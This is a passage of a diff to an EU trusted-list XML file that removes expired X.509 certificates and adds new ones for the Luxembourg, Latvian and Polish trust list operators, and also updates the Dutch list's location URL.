-                            <X509Certificate>MIIFyjCCA7KgAwIBAgIIN96pSLYjpaUwDQYJKoZIhvcNAQENBQAwezELMAkGA1UEBhMCTFUxEDAOBgNVBAcTB0JlbHZhdXgxDjAMBgNVBAoTBUlMTkFTMSEwHwYDVQQLExhEaWdpdGFsIFRydXN0IERlcGFydG1lbnQxDjAMBgNVBAMTBUlMTkFTMRcwFQYDVQRhEw5WQVRMVS0yMjk1OTQ2MzAeFw0yMTA5MTYwODAzMDBaFw0yNDA5MTYwODAzMDBaMHsxCzAJBgNVBAYTAkxVMRAwDgYDVQQHEwdCZWx2YXV4MQ4wDAYDVQQKEwVJTE5BUzEhMB8GA1UECxMYRGlnaXRhbCBUcnVzdCBEZXBhcnRtZW50MQ4wDAYDVQQDEwVJTE5BUzEXMBUGA1UEYRMOVkFUTFUtMjI5NTk0NjMwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCZX10hzC0iWywty8kEH/h19gZ3xp/N4mJ7YaFNT1fn5jwwYsfXCzWWKvuqGEXst2B6tCr44eKfYkoF5JD6wmK00YFYNn8Hfnj3s1BTKcin31a9ku43TzSD3sgqqdsmiDXAqS8mSfwSf1KHwDny01vuf1TDbalXOCn2RtTxXviDZ55osUnxfrBVp0B78tDlsYbYF5MLmKPbxIn5TejyZvuTmKvLqiMtcY2+1y4Uk3XDrRCODKFUdM/sB9uDZF6Q82lS5bSWftQ5wJyhgwhBhBF7yielX+ZrpD+jQe5cwwL2IRPQetoBW7EecNcRh8ZG5GAjYiunWYgbdyZRxOxmXjEfBYKqThTrO7FA7h7voV+6I0uNMSF5ufbjZLPuwqaWVeeWtTHUVfiyQZ/+Cg5FM6qvIEdGmYM60K0EUg+eyRoDCp6+LqZzNuMKFR/B3uS+ss+fVCCFujXzHflnmwzbrzLSL2oyx/S58q/HddPAj48Uqspy/94z7SimRZ12h+msswwHUub3IOBYJ0L/WShUFXJn0us2tL/G2xtvkipXOmq7WvdY4y+Iktfa2ENKeVY66Lu94rVlbR0gJrCPLp+qYQMxogj+X13fHaPqsoLk3+vA2p+zuso9/rK3cfMqDBTX+xHRv0un2pMe1owVJFIRivrHAy95lN5PQV+B7Rgck7c2TQIDAQABo1IwUDAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBQoqvweA03M5WOqjl6myOlS/LnDMjAOBgNVHQ8BAf8EBAMCBkAwEQYDVR0lBAowCAYGBACRNwMAMA0GCSqGSIb3DQEBDQUAA4ICAQAcsug8LqMaQp2nIgxXVozMluKNznpuMDe+xtYzlomB3SOOOgrB51sRdzdVSaUF9NEH+Iuj1DvilNXmo7Q7UL3CCW3PNKDxWvwv+fYB/iiImyha+0P7afRyCIkwJxWIDS+hOzD45C9sgKXkLWuROAjeOJMSKjfPDSrGkkY9UahGBcVl71MsRlBn2f95rwAEZCgCPqP2w0Jgq5xVW8Pih11eti6H5rt/jcCC3bQmbkmwYInvV2wUq7KfDeaFQvA9+xoQZph+CFs+RVvbmQe6KtAxAS8VzY2sPLPt/SA0vvKozLVLfJ5zbEMHAQnVtQc7lHHH3+rRMGRBAmJ9eG1uER7vJEbvWjRvk1jKdiH7NSVTShj0v+2OrnXdh23fcUirVqPNjOqdmZ7zdf0mDpuj4iFfQkznMcHytpXhXAdYvuSzrOSMbFMyhp7cIgsBfPL4gDdlgC68JPOdRp1sbOn9InUqhpTrWeNDcsGB3PHxDrBN2jpsH+M5pAYMhqYxsVeVcAJQoJcVom+gNe+R+s1c4BCvdhcWCfe2J6sS9hCuLcruLQ60MCXE7vYoWC3hPOIROxDtLyZsVJLtFmOTYXzyDIvgewvAwGlDgihD0RhTPqVnMaUuvc/A7r6r0T7is5ejcKkanYn84STa3g72osgC7nP6DbjG9i2htIFzqy3twtOQiw==</X509Certificate>
-                        </DigitalId>
-                    </ServiceDigitalIdentity>
-                    <ServiceDigitalIdentity>
-                        <DigitalId>
-                            <X509Certificate>MIIFyjCCA7KgAwIBAgIIQqo2XTziviwwDQYJKoZIhvcNAQENBQAwezELMAkGA1UEBhMCTFUxEDAOBgNVBAcTB0JlbHZhdXgxDjAMBgNVBAoTBUlMTkFTMSEwHwYDVQQLExhEaWdpdGFsIFRydXN0IERlcGFydG1lbnQxDjAMBgNVBAMTBUlMTkFTMRcwFQYDVQRhEw5WQVRMVS0yMjk1OTQ2MzAeFw0yMTA5MTYwODU0MDBaFw0yNDA5MTYwODU0MDBaMHsxCzAJBgNVBAYTAkxVMRAwDgYDVQQHEwdCZWx2YXV4MQ4wDAYDVQQKEwVJTE5BUzEhMB8GA1UECxMYRGlnaXRhbCBUcnVzdCBEZXBhcnRtZW50MQ4wDAYDVQQDEwVJTE5BUzEXMBUGA1UEYRMOVkFUTFUtMjI5NTk0NjMwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQDMFVzLD8dlcSH8Y+acLPpSPIwbKh5t59sqvX409UEbhLvIs3g8nJ6YO5Npnl2NrQ7C9FewcYzhsotljFnJlyIf2ljito8JOR2z9pgi/q6rJWmnJ2kcwx8hoVi+BlWRJa2/aB11mhWi75Y7DgxKC55obcqf7JVncHHQaW8V0qtI21pvW4KtrBLzMLHihO4SonLEJ96U+AuEEMfPEIYwh9hE0wHIZPHn6FPWVPXduNn/1sgP5b3rsHhQdwoFVwP/vzrh4Fn2qJLiZXFm7T7t5msK0Zvjt/0xL/TXr+Pa1I3j6hrszrxE9pfY9NZ5uJaHf/Qa+14SrANvxkZVu+pOYBZQIzjnlGftMouBlWfOh7RHW+SjeRLCVKPGViCoGxfd0/BFdHR3ry40JnYjU20mk9ifwpgtfDc1iXnuwVTH7MeHY8lXG3EAposINYQ+Y+XzIskt+4ArX7ym26GM0LN+eLXQJyVUD+mjhpSXAFNLJSIDxoXG7P68ysRBe8YSlfhURohPrcE/2CAbZcH/NEzXjpe2EpJsPGfnEU1bFc0SR+BoivSsRFIMbE3NeUVzs+0j2XduYEr4DH9hb3t1ASQoeW09m4TPxd6fA8cGaBmk/KuX3xynJRLxfNju8Ky6vGykiAmnOQH6pcXy+n58nu+19umJBsIDKzV5VjGKS1khznkfmQIDAQABo1IwUDAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBRkCOkYEDB6+U1QinT+vv0jXbmFDDAOBgNVHQ8BAf8EBAMCBkAwEQYDVR0lBAowCAYGBACRNwMAMA0GCSqGSIb3DQEBDQUAA4ICAQB6cbQ5VuGRgX5Dx5KXjYNKZhxwRqcYHpJvk8cXoWIFkk+jkk5hnnSsson2Rpjya8R4VCyYY/56bLxicIs+n7panEaUIqvAZbUqe/lfGfjNo7wqsNV7ovqxVCagyeGHHtWvVhw87NSXpr9tyafIdbSvuBS0Yk6xog3trzqvQIPkv+XzH6lpKPONmFxa7jnQjOsib76kT6ZCYulSo7xpgEOprzxwNIR0NJAtwTjGkkMY8v6qR8vJ1JQRjk6P6a+ivulmIryeEev4hmh5Iwfc4HcCskmaSigN2kRdvIZNN22tB8Tz3FRt/EuMOiwS36w3UBCFUhCXwioiMHl9eUo4pwyo6XrO7ZIROlZntOgvGYFSxelO5qKjs3OhX0fdW/qfstoJ6GglEM0HVk+gQJyU17lNdXA1DBKhMrfhDYumZQXiCSXnSIYGu2UzY/LnkyD/wgQxJ5m44E1gLsbtVp8lOHlDhByxbe3bvHLtbhd60nG5rHobU7yWeJL5actBgmBfEvkv5GJHy0n0ZEs0bUiav9laqwz4QauVv5d00ODk3KhdRnaz8pyihRuq0MWOZXdbTJsc5ABnweWVkABM1RlB2NZ1+hGuZq7lQXqZKMhFaHIX25kqLd652WvKanVTbS6MGWdIEjGWI4EHQqWilpUSHv9wsi1J5wqOJsaqxMz6udCioA==</X509Certificate>
-                        </DigitalId>
-                    </ServiceDigitalIdentity>
                     <ServiceDigitalIdentity>
                         <DigitalId>
                             <X509Certificate>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</X509Certificate>
@@ -1611,6 +1552,11 @@ Europska Komisija održava ovo web-mjesto kao sredstvo za postizanje interoperab
                             <X509Certificate>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</X509Certificate>
                         </DigitalId>
                     </ServiceDigitalIdentity>
+                    <ServiceDigitalIdentity>
+                        <DigitalId>
+                            <X509Certificate>MIICjDCCAhOgAwIBAgIUaLo3ZSTI6j1b5dQbKzfhN/epMKowCgYIKoZIzj0EAwQwfjELMAkGA1UEBhMCTFUxEDAOBgNVBAcMB0JlbHZhdXgxDjAMBgNVBAoMBUlMTkFTMSQwIgYDVQQLDBtOYXRpb25hbCBEaWdpdGFsIFRydXN0IEJvZHkxDjAMBgNVBAMMBUlMTkFTMRcwFQYDVQRhDA5WQVRMVS0yMjk1OTQ2MzAeFw0yNTA0MTEwNTQ2MzBaFw0yODA0MTAwNTQ2MzBaMH4xCzAJBgNVBAYTAkxVMRAwDgYDVQQHDAdCZWx2YXV4MQ4wDAYDVQQKDAVJTE5BUzEkMCIGA1UECwwbTmF0aW9uYWwgRGlnaXRhbCBUcnVzdCBCb2R5MQ4wDAYDVQQDDAVJTE5BUzEXMBUGA1UEYQwOVkFUTFUtMjI5NTk0NjMwdjAQBgcqhkjOPQIBBgUrgQQAIgNiAATBSIwHyUDeq63bYo7RMX4JkbjUImjbBpblt5ioTpptvkoR1PyNojZaTnbWp1TzEwpehzzTYrwBN4uIE+vkV8Nue8PhJoh62iTDNXfYzfVZkou/ucqvC+SEB7lyn0JlhRSjUjBQMB0GA1UdDgQWBBSVtslX3RDZMeUu/A8f3QT8HcuHzTAMBgNVHRMBAf8EAjAAMA4GA1UdDwEB/wQEAwIGQDARBgNVHSUECjAIBgYEAJE3AwAwCgYIKoZIzj0EAwQDZwAwZAIwJbzVladMHwIBBctEoahSV6Jr+1HkgR5vmP05kJsOa7kI2gX3zIdaXTsSJi27D8qJAjAnWNhUIKphR8joW+3c17Lr7aYhiba1j+Qljv88ErCAGVohBURK5EhlYMqWo579/y0=</X509Certificate>
+                        </DigitalId>
+                    </ServiceDigitalIdentity>
                 </ServiceDigitalIdentities>
                 <TSLLocation>https://trusted-list.lu/tsl.xml</TSLLocation>
                 <AdditionalInformation>
@@ -1651,6 +1597,11 @@ Europska Komisija održava ovo web-mjesto kao sredstvo za postizanje interoperab
                             <X509Certificate>MIIFszCCA5ugAwIBAgIQREON56Jz1XRnY/6v2uHdxDANBgkqhkiG9w0BAQsFADCBgTELMAkGA1UEBhMCTFYxOTA3BgNVBAoMMFZBUyBMYXR2aWphcyBWYWxzdHMgcmFkaW8gdW4gdGVsZXbEq3ppamFzIGNlbnRyczEaMBgGA1UEYQwRTlRSTFYtNDAwMDMwMTEyMDMxGzAZBgNVBAMMEmVQYXJha3N0cyBJQ0EgMjAyMTAeFw0yNDEyMTkxMTA4MzFaFw0yODEyMTkxMTA4MzFaMHExCzAJBgNVBAYTAkxWMTUwMwYDVQQKDCxEaWdpdMSBbMSBcyBkcm/FocSrYmFzIHV6cmF1ZHrEq2JhcyBrb21pdGVqYTErMCkGA1UEAwwiTGF0dmlhbiBUcnVzdCBMaXN0IFNjaGVtZSBPcGVyYXRvcjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAJ/A0ewgHlsdDanMiG+kN+ShkrWyN6M6v+JvQvvaRQLkt1StuDHbJw7RKcljZabjc2CYou6oZTu8mZkK6ps8VJZJ1DuuYwmPrENCkWI5flogM5dkNFzLhuSonoonqNEyJK344B/KurtKGiAHv1gG1U2nj9QETPPnq1CM2gz85mjk526azocFhmCnDOUZoawfwSmzV1B2VNVq0uik3ZUgk3WdWtwtiDwGPg36WDpaEOqXUdEdiePYsP6PaE5pgKnZDf2febs0u0wHC3c1k8EhuB8F4OZizE4mtS5AOxCehND0Ash5INkvYNnH3HcAkTVYxLAENUUahGR8PZcZFDb1NdkCAwEAAaOCATQwggEwMAwGA1UdEwEB/wQCMAAwEQYDVR0lBAowCAYGBACRNwMAMB0GA1UdDgQWBBSXG0PCnC4DR7s0WQ0ef0mKgFCG2zAfBgNVHSMEGDAWgBQZ6YJzV916YDK/6HQZJhX3rYD0FzAOBgNVHQ8BAf8EBAMCBkAwdQYIKwYBBQUHAQEEaTBnMD8GCCsGAQUFBzAChjNodHRwOi8vd3d3LmVwYXJha3N0cy5sdi9jZXJ0L2VQYXJha3N0c19JQ0FfMjAyMS5jcnQwJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmVwYXJha3N0cy5sdjBGBgNVHR8EPzA9MDugOaA3hjVodHRwOi8vd3d3LmVwYXJha3N0cy5sdi9jcmwvZVBhcmFrc3RzX0lDQV8yMDIxXzE3LmNybDANBgkqhkiG9w0BAQsFAAOCAgEAW2dB1PN0Lrf/Upz+sV+07psL9B1P1ob7LPdYSAx6fPZyqywKTHsKyWqWbjxAHCMp8nPcuAEtlYjZ+Spc0RrfIVCbw/pasfNct48WMvkBJ86jZ+YgQlG5QcfK9cpBsPdf5He7/4GoxGM7nvEoas2tPs1foVGfBCsDUEhGj6Hwr7t8zwTtzglmUSMnnCTMiR8mLQPy8aXAB0D4w+06rsS3AhLRuRGb0aSyyFKW9x7X9JSyC1O9sF7D6y/sLa0ae1/VBUaJEgNBXH6UINdZEa05CYmblaUMHBarZpLlzOi7Fo+4lTV9e4gpOyw4q9AokmsVWYSna71GepoPQefGP1Pgy8Flv8fpk3Z5lSd45vKYPr/aUdnzbAcUfOv4PwLj/DL12wB0Phtwq/VC5P+PT9THJZx5VT4v10naDP1KoDr+SW/dcEwgVLWvDAtiA18cQtS5fP2eaMCciY8fn738DOzwq3NBIbpUkw9S/8wWEUHSir5bUhl2K/lo2kTsZ41HJBNY5OfgiHDwvz32xNYoExtyqXPiBxV4BJVxbZLmL92KYVJ24jaYoX1QE+4j3Vo8cu7EylK+ri+jYdGhjAEoGFCGS4BdS4W3hcYStyMkR9J3zmEQ1aiWyRwYqakinUhN+OPG4PQGybdGspQmjee442hTeQN/IVtuChqZMWatnEqmjuM=</X509Certificate>
                         </DigitalId>
                     </ServiceDigitalIdentity>
+                    <ServiceDigitalIdentity>
+                        <DigitalId>
+                            <X509Certificate>MIIFszCCA5ugAwIBAgIQatqKHNZIHZZoLdAWeppTITANBgkqhkiG9w0BAQsFADCBgTELMAkGA1UEBhMCTFYxOTA3BgNVBAoMMFZBUyBMYXR2aWphcyBWYWxzdHMgcmFkaW8gdW4gdGVsZXbEq3ppamFzIGNlbnRyczEaMBgGA1UEYQwRTlRSTFYtNDAwMDMwMTEyMDMxGzAZBgNVBAMMEmVQYXJha3N0cyBJQ0EgMjAyMTAeFw0yNTA1MjExMzA3MzRaFw0yOTA1MjExMzA3MzRaMHExCzAJBgNVBAYTAkxWMTUwMwYDVQQKDCxEaWdpdMSBbMSBcyBkcm/FocSrYmFzIHV6cmF1ZHrEq2JhcyBrb21pdGVqYTErMCkGA1UEAwwiTGF0dmlhbiBUcnVzdCBMaXN0IFNjaGVtZSBPcGVyYXRvcjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAKFhax6zUwiAyx/OT4vDB9UAdg2PMoBYuhcJQQCUKXqcMo/j1RJ3Md4rma0QjcJEIG2Ol81sLh7ejznNATG3/XZP7cg+EPTzYpnz+pn7jSY2nA7DfYRRr0OPYYgTAepDRtAV06+cpcwviB//IdjY2MIFpdykmd6BfwKLYHZkARLXSKADyZf310+DD5VBw+9br4jEAXanGS/aqHvKEGONpVB64nP4PZ69ulSYgK/MVJ0avmkbt/avdMInXm46NSHP6tHMOPA+OeWdKvv+FtpypggNptV9+2vVA9nEVO2N4IaIOoDjX16PzLJIVilJ9Ms7ieKHN6fKTrR7LCFUCybqKNcCAwEAAaOCATQwggEwMAwGA1UdEwEB/wQCMAAwEQYDVR0lBAowCAYGBACRNwMAMB0GA1UdDgQWBBQJA+o53eFwHXGwHg8voH14TAiJhjAfBgNVHSMEGDAWgBQZ6YJzV916YDK/6HQZJhX3rYD0FzAOBgNVHQ8BAf8EBAMCBkAwdQYIKwYBBQUHAQEEaTBnMD8GCCsGAQUFBzAChjNodHRwOi8vd3d3LmVwYXJha3N0cy5sdi9jZXJ0L2VQYXJha3N0c19JQ0FfMjAyMS5jcnQwJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmVwYXJha3N0cy5sdjBGBgNVHR8EPzA9MDugOaA3hjVodHRwOi8vd3d3LmVwYXJha3N0cy5sdi9jcmwvZVBhcmFrc3RzX0lDQV8yMDIxXzE3LmNybDANBgkqhkiG9w0BAQsFAAOCAgEAH/RXIOc+eiLkT+8S7a7aHJYpJLsM+AD+4w6cj9p7TTD78105KvuJoeq1VayE3vftSkBcDC94PzRZQiQZ9E9SvSGQtBHE63SocnXLF65vml4qGxUwH9AQ5x13vqKRSRB3WVCztiZ0t9E+zxYnxJzuS3G/j6ULAA9Wn7iVn0+KVUyHTVne0rQwyGK0prbCBm16nCbz1fwLiUnR+jnBqz6d72WEkLXS0TY3W7pev9YV1lp636urmHO+QKjKFlU23AVWOvuYvKFdZGRKFgB/lm66xtrrs0YAoIslb5QUKG6WHoi3oYsYu3IuYcZ51RFq7G7p41FYuOB1tS4OJcncrjiYKLeHcBKCwOo3HveDUkCcq681kSMsZZgIPrhiljXBvQKbFme4IdCJrfWLkmwL2bZoXPt+8PkUkVrtc66Hw4MyXq8YHBpAid1JjefXRgXgV4IcFoW10s8ypAlSdbvyU4veMyPQ7Bx7A/TRG5K54mnKUnClP+fiL6FfLROyKlNbWDxQNP9WWDU9UWl0vwGJz9lVS9mL0cVPKePxDHPCPcTYAbQVEnjdnWoBzYozAVgI7Qrgzm1PBmWtdDIKskQgNzmQcpShXVtdWA9Z96w9HcIMX4VzJYb4mVng1/6zCbBV5nSBfvqOiwZQfHqAi0okrUAWeQhHxluAMMdY09mqH/hBbFo=</X509Certificate>
+                        </DigitalId>
+                    </ServiceDigitalIdentity>
                 </ServiceDigitalIdentities>
                 <TSLLocation>https://trustlist.gov.lv/tsl/latvian-tsl.xml</TSLLocation>
                 <AdditionalInformation>
@@ -1732,7 +1683,7 @@ Europska Komisija održava ovo web-mjesto kao sredstvo za postizanje interoperab
                         </DigitalId>
                     </ServiceDigitalIdentity>
                 </ServiceDigitalIdentities>
-                <TSLLocation>https://www.rdi.nl/binaries/rdi/documenten/publicaties/bestanden/statisch/tsl/digitale-statuslijst-van-vertrouwensdiensten/current-tsl.xml</TSLLocation>
+                <TSLLocation>https://www.rdi.nl/site/binaries/site-content/collections/documents/current-tsl.xml</TSLLocation>
                 <AdditionalInformation>
                     <OtherInformation>
                         <TSLType>http://uri.etsi.org/TrstSvc/TrustedList/TSLType/EUgeneric</TSLType>
@@ -1835,11 +1786,6 @@ Europska Komisija održava ovo web-mjesto kao sredstvo za postizanje interoperab
             </OtherTSLPointer>
             <OtherTSLPointer>
                 <ServiceDigitalIdentities>
-                    <ServiceDigitalIdentity>
-                        <DigitalId>
-                            <X509Certificate>MIIDaTCCAlGgAwIBAgIJANYIzUuXA+96MA0GCSqGSIb3DQEBCwUAME0xCzAJBgNVBAYTAlBMMSAwHgYDVQQKExdOYXRpb25hbCBCYW5rIG9mIFBvbGFuZDEcMBoGA1UEAxMTUG9saXNoIFRTTCBPcGVyYXRvcjAeFw0yMDA3MDYwOTAyNTBaFw0yNTA3MDUwOTAyNTBaME0xCzAJBgNVBAYTAlBMMSAwHgYDVQQKExdOYXRpb25hbCBCYW5rIG9mIFBvbGFuZDEcMBoGA1UEAxMTUG9saXNoIFRTTCBPcGVyYXRvcjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMsyEHQSiCpsATgk5+uUw7NlBZeI+BtBYUwqnpwAKmnnVTlhGKqPwCNFw4e1PnDewRpirF3skiBTJ7Ab3UT8caWtLp3njeaecWw4nIe+uISFTS4qudGNMP2KNs2X4DWojzTA//La65OAWfCsYFCGuNLU+sEjbITU/TEGq7ijtXwbtpJt2hSJMGmibDJCj/aSuls+TxzlEBazmjDFeqLBgNE+woScReVGAI2j+DfBFFUQMllrIN96rtCN7yDKE4mjxdV8ZY4XOB+ABb+XBLPThtfZaGf8JfCMIH5fQGCZW1vCTj0K9J6Q5OagUVkC6n3EhmbfX8ZjDRka0FSVtzO/QB0CAwEAAaNMMEowCwYDVR0PBAQDAgeAMBEGA1UdJQQKMAgGBgQAkTcDADAJBgNVHRMEAjAAMB0GA1UdDgQWBBSuieMJHlsW0lxpUa5zD0aKL6xEZTANBgkqhkiG9w0BAQsFAAOCAQEAEUu17bXCPpepjBb7QvMA28GMWQe4Up06tIvZQ4pZ0FRBE3hmbe44A+/3kh17hjd1EMb0ZaPVPl/EkZLqYsDWw8jH1H6ITIM4rW9WJs0VGAXJrX5S50TpvaRCJ0ndlVTPaG2EYKM0XeITX0DL5n1dDPUtfoFCq/KOdOSQJ207/XhiMzOpNTpvf7nOEmn1JBC0DU227UQFxtTjkkBLGLzg+j5EXumk5fZm/cGnKjRT5yi50UXyFTshxv4C906b3hBQkAHu8Unxr3Xfh/cueAku2jKi6270xnA6liDB8vzi7XDe4DfWqJmr8tUnKgqsBl7louMhiV/pqRmuBULnpYhvPg==</X509Certificate>
-                        </DigitalId>
-                    </ServiceDigitalIdentity>
